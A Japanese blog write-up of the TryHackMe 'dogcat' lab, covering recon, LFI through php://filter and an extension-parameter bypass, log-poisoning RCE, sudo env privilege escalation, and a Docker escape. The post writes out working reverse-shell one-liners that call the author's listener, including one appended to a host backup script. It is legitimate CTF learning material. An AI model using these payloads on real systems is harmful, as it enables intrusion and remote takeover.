LoginSignup
1
0

【TryHackMe】dogcat - Writeup

Last updated at Posted at 2024-02-26

はじめに

TryHackMeの "dogcat" というルームのWriteupです。
いぬとねこの写真が見れるサイトをハックしていきましょう!

  • 難易度 : Medium

image.png

目標

Recon (偵察) → Enumeration (列挙) → GainingAccess (侵入) → PrivEsc (権限昇格)
という流れで進めていきます。今回はフラグを4つ取得するのが目標です。

Recon

オープンポート調査

nmapでオープンポートを列挙します。

root@ip-10-10-246-163:~# nmap -Pn -A -T4 10.10.9.107

Starting Nmap 7.60 ( https://nmap.org ) at 2024-02-13 13:30 GMT
Nmap scan report for ip-10-10-9-107.eu-west-1.compute.internal (10.10.9.107)
Host is up (0.00078s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 24:31:19:2a:b1:97:1a:04:4e:2c:36:ac:84:0a:75:87 (RSA)
|   256 21:3d:46:18:93:aa:f9:e7:c9:b5:4c:0f:16:0b:71:e1 (ECDSA)
|_  256 c1:fb:7d:73:2b:57:4a:8b:dc:d7:6f:49:bb:3b:d0:20 (EdDSA)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: dogcat
MAC Address: 02:2B:12:84:DD:2D (Unknown)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).

Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.78 ms ip-10-10-9-107.eu-west-1.compute.internal (10.10.9.107)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.47 seconds

22(ssh), 80(http)が空いているようです。

Webサイト偵察

サイトを見に来ました。
犬のボタンを押すと犬の写真、猫のボタンを押すと猫の写真が表示されるようです。

image.png

image.png

犬のときのurlがhttp://10.10.9.107/?view=dog なので、
試しにクエリを?view=rabbit にしてみます。

image.png

怒られてしまいました。次は ?views=dogsと入れてみました。

image.png

先ほどのSorry, onlu dogs and cats are allowed というエラーメッセージがなくなりましたが、今度はdogs.php が無いと言ってますね。

  • dogcat のどちらかが入っていないとブロックされる 
  • dogs と入れると、dogs.php が読み込まれる( .phpが追加される )

Enumeration

ディレクトリスキャン

gobusterでディレクトリスキャンをします。

root@ip-10-10-246-163:~# gobuster dir -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt  -x php js html -u http://10.10.9.107
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.9.107
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php
[+] Timeout:        10s
===============================================================
2024/02/13 13:35:11 Starting gobuster
===============================================================
/index.php (Status: 200)
/cat.php (Status: 200)
/flag.php (Status: 200)
/cats (Status: 301)
/dogs (Status: 301)
/dog.php (Status: 200)
/server-status (Status: 403)
===============================================================
2024/02/13 13:36:16 Finished
===============================================================

/cats, /dogsという気になるディレクトリがありましたが特にめぼしい情報はありませんでした。flag.phpがありますが、phpファイルのため、urlに入れただけではもちろん見れません。

ローカルファイルインクルージョン(LFI)

わからなくなってきたので問題文を見たらヒントがありました。

Exploit a PHP application via LFI and break out of a docker container.

ローカルファイルインクルージョン(LFI)とは?
LFI脆弱性は、攻撃者がWebアプリケーションを通じてサーバー上の任意のファイルを読み込むことを可能にするセキュリティの弱点です。通常、これは不適切に検証されたユーザー入力を通じて発生します。例えば、Webアプリケーションがユーザーからの入力をファイルパスに直接使用し、その入力が適切に検証またはサニタイズされていない場合、攻撃者は任意のファイルを読み込むことができます。

ファイルパスをどうにかすると良いみたいですね。ひとまず、

  • クエリにdogがないといけない
  • index.phpと同じ階層にdogsというディレクトリがある
  • 最後に拡張子.phpがつけられるので%00 で回避

するアイデアで、以下のURLを見てみます。

/etc/passwdが見たい
http://10.10.105.240/?view=dogs/../../../../../../../etc/passwd%00

エラーが出ました。想定通り拡張子無しで認識されているようですが、ファイルが開けないようです。なぜでしょうか、、、、

image.png

flag.php も気になっているので、以下のURLを見てみます。

/flag.phpが見たい
http://10.10.105.240/?view=dogs/../flag

エラーは回避できましたがなにも見れません。
テキストファイルやhtmlではなく、PHPのソースコード内にflagがあるからです。
ソースコードを入手する必要がありそうです。

PHPラッパーを利用する

LFI, HackTrick で調べてみると、良さそうな情報が見つかりました。

php://フィルターというものを使うことで、ファイルをエンコードをしたものが取得できるようです。試してみましょう。

http://10.10.9.107/?view=php://filter/convert.base64-encode/resource=dog

とするとハッシュが表示されました。

デコードしてあげると、、、

dog.php
root@ip-10-10-246-163:~# echo "PGltZyBzcmM9ImRvZ3MvPD9waHAgZWNobyByYW5kKDEsIDEwKTsgPz4uanBnIiAvPg0K" | base64 --decode
<img src="dogs/<?php echo rand(1, 10); ?>.jpg" />

dog.phpの中身が見れました。10枚の写真からランダムに表示させるプログラムのようです。このままflag.phpも見ていきましょう。

flag.php
root@ip-10-10-246-163:~# echo "PD9waHAKJGZsYWdfMSA9ICJUSE17VGgxc18xc19OMHRfNF9DYXRkb2dfYWI2N2VkZmF9Igo/Pgo=" | base64 --decode 
<?php
$flag_1 = "THM{Th1s_1s_N0t_4_Catdog_ab67edfa}"
?>
root@ip-10-10-246-163:~# 

フラグが取得できました。

同様にindex.php を見てみましょう。

http://10.10.9.107/?view=php://filter/convert.base64-encode/resource=dog/../index

にアクセスした結果の文字列をbase64でデコードします。

以下のようなphpコードが見れました。

index.php
<!DOCTYPE HTML>
<html>

<head>
    <title>dogcat</title>
    <link rel="stylesheet" type="text/css" href="/style.css">
</head>

<body>
    <h1>dogcat</h1>
    <i>a gallery of various dogs or cats</i>

    <div>
        <h2>What would you like to see?</h2>
        <a href="/?view=dog"><button id="dog">A dog</button></a> <a href="/?view=cat"><button id="cat">A cat</button></a><br>
        <?php
            function containsStr($str, $substr) {
                return strpos($str, $substr) !== false;
            }
	    $ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
            if(isset($_GET['view'])) {
                if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
                    echo 'Here you go!';
                    include $_GET['view'] . $ext;
                } else {
                    echo 'Sorry, only dogs or cats are allowed.';
                }
            }
        ?>
    </div>
</body>

</html>

ソースコードをよく見ると、$ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php'; で拡張子が決められているようです。

  • extというクエリに何もなければ.php
  • extに指定があればその拡張子

になるみたいなので、extを空白に指定してみましょう。

http://10.10.165.33/?view=dog/../../../../etc/passwd&ext=

これで/etc/passwdが見れてしまいました。残念ながら/etc/shadowは見れず。

image.png

phpファイルはPHPラッパーを利用して閲覧
テキストファイルはPHPラッパーを利用せずext= として閲覧

Gaining Access

ログポイズニング(LFI2RCE)

LFI を利用してログファイルに仕込んだペイロードを実行する」
という攻撃があるようです。

image.png

上記を参考に、User-Agentにペイロードを書き込んでログファイルに仕込み、urlからパラメータcmdを指定して実行します。BurpSuiteを開いて、HTTPリクエストをRepeaterに送っておきます。まずlsで試してみました。

image.png

ls が実行されているのが分かります。

では、このlsの部分をリバースシェルに置き換えて実行させましょう。今回利用したリバースシェルはこちら。

php -r '$sock=fsockopen("10.8.32.250",8888);exec("/bin/sh -i <&3 >&3 2>&3");'

BurpSuiteのDecoderからリバースシェルをurlが読めるように %エンコード していきます。

image.png

エンコードしたものを先ほどのlsの部分に入れてリクエストを送信します。

image.png

リスナーを見てみると、リバースシェルが成功していました。

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 8888
listening on [any] 8888 ...
connect to [10.8.32.250] from (UNKNOWN) [10.10.38.206] 51842
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ 

シェルの安定化を行いたかったのですが、pythonがないためいつもの方法は出来ませんでした。

PrivEsc

侵入できたので権限昇格していきましょう。

$ whoami
www-data
$ sudo -l
Matching Defaults entries for www-data on 3223417acdba:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on 3223417acdba:
    (root) NOPASSWD: /usr/bin/env

いつも通りsudo -lをしてみると、env がsudo権限で実行できるようだったので、CTFObinsで検索してそのまま攻撃コードを実行してみます。

$ sudo env /bin/sh
whoami
root

あっけなくルートになることが出来ました。フラグを探していきます。

find / -name *flag* 2>/dev/null
/proc/sys/kernel/acpi_video_flags
/proc/kpageflags
/var/www/html/flag.php
/var/www/flag2_QMW7JvaY2LvK.txt
/usr/bin/dpkg-buildflags
/usr/local/lib/php/build/ax_check_compile_flag.m4
/usr/lib/x86_64-linux-gnu/perl/5.28.1/bits/ss_flags.ph
/usr/lib/x86_64-linux-gnu/perl/5.28.1/bits/waitflags.ph
/usr/include/x86_64-linux-gnu/asm/processor-flags.h
/usr/include/x86_64-linux-gnu/bits/ss_flags.h
/usr/include/x86_64-linux-gnu/bits/waitflags.h
/usr/include/linux/kernel-page-flags.h
/usr/include/linux/tty_flags.h
/usr/share/dpkg/buildflags.mk
/root/flag3.txt

cat /var/www/flag2_QMW7JvaY2LvK.txt
THM{L****************b}

cat /root/flag3.txt
THM{D********************2}

フラグが2つ見つかりました。残すはあと1つです!

コンテナエスケープ

最後のフラグがなかなか見つからないので問題文を見てみるとDockerコンテナから抜け出すと書いてありました。

I made a website where you can look at pictures of dogs and/or cats! Exploit a PHP application via LFI and break out of a docker container.

.dockerenvファイルがあるので、ここはDockerコンテナの中であることが分かります。

cd /
ls -la
total 80
drwxr-xr-x   1 root root 4096 Feb 17 15:35 .
drwxr-xr-x   1 root root 4096 Feb 17 15:35 ..
-rwxr-xr-x   1 root root    0 Feb 17 15:35 .dockerenv
drwxr-xr-x   1 root root 4096 Feb 26  2020 bin
(中略)

Dockerコンテナ内かどうかは、.dockerenvの有無で判別する

コンテナ内からホストOSに侵入していきます。ホストOSと共有しているフォルダ等がないか調べていたのですが、気になるファイルを見つけました。

cd /opt/backups 

ls -l
total 2884
-rwxr--r-- 1 root root      69 Mar 10  2020 backup.sh
-rw-r--r-- 1 root root 2949120 Feb 26 05:47 backup.tar

cat backup.sh
#!/bin/bash
tar cf /root/container/backup/backup.tar /root/container

現在の環境に/root/containerというディレクトリはないので、これはホストOSで実行されるシェルだと思われます。

バックアップするプログラムであることから、定期的にこのbackup.shが実行されている可能性が高いため、ここにリバースシェルを仕込んで、ホストOSに侵入します。

以下のリバースシェルを利用しました。

image.png

echo "sh -i >& /dev/tcp/10.8.32.250/1234 0>&1" >> backup.sh

backup.shに書き込んでリスナーを見てみます。しばらく待つと、、、

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.8.32.250] from (UNKNOWN) [10.10.54.53] 46588
sh: 0: can't access tty; job control turned off
# whoami
root

ホストOSに侵入することが出来ました。

# ls -la
total 40
drwx------  6 root root 4096 Apr  8  2020 .
drwxr-xr-x 24 root root 4096 Apr  8  2020 ..
lrwxrwxrwx  1 root root    9 Mar 10  2020 .bash_history -> /dev/null
-rw-r--r--  1 root root 3106 Apr  9  2018 .bashrc
drwx------  2 root root 4096 Apr  8  2020 .cache
drwxr-xr-x  5 root root 4096 Mar 10  2020 container
-rw-r--r--  1 root root   80 Mar 10  2020 flag4.txt
# cat flag4.txt
THM{esc4l4tions_on_esc4l4tions_on_***********_****************}

最後のフラグも無事取得できました。

あとがき

LFI2RCE(LFIの脆弱性を利用してログにリバースシェルを仕込んで実行させる)とコンテナエスケープ (コンテナからホストOSに侵入する)を体験することが出来て非常に勉強になったルームでした。

今回何度もリクエストを微修正して送ったのですが、BurpSuiteのRepeaterが便利で、お気に入りになりました。

また、コンテナ内にホストOSで実行されるバックアップシェルが置いてあるのは普通なんでしょうか?コンテナは安全と思わずに、しっかり対策を行うように注意しましょう。

Try Harder !

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0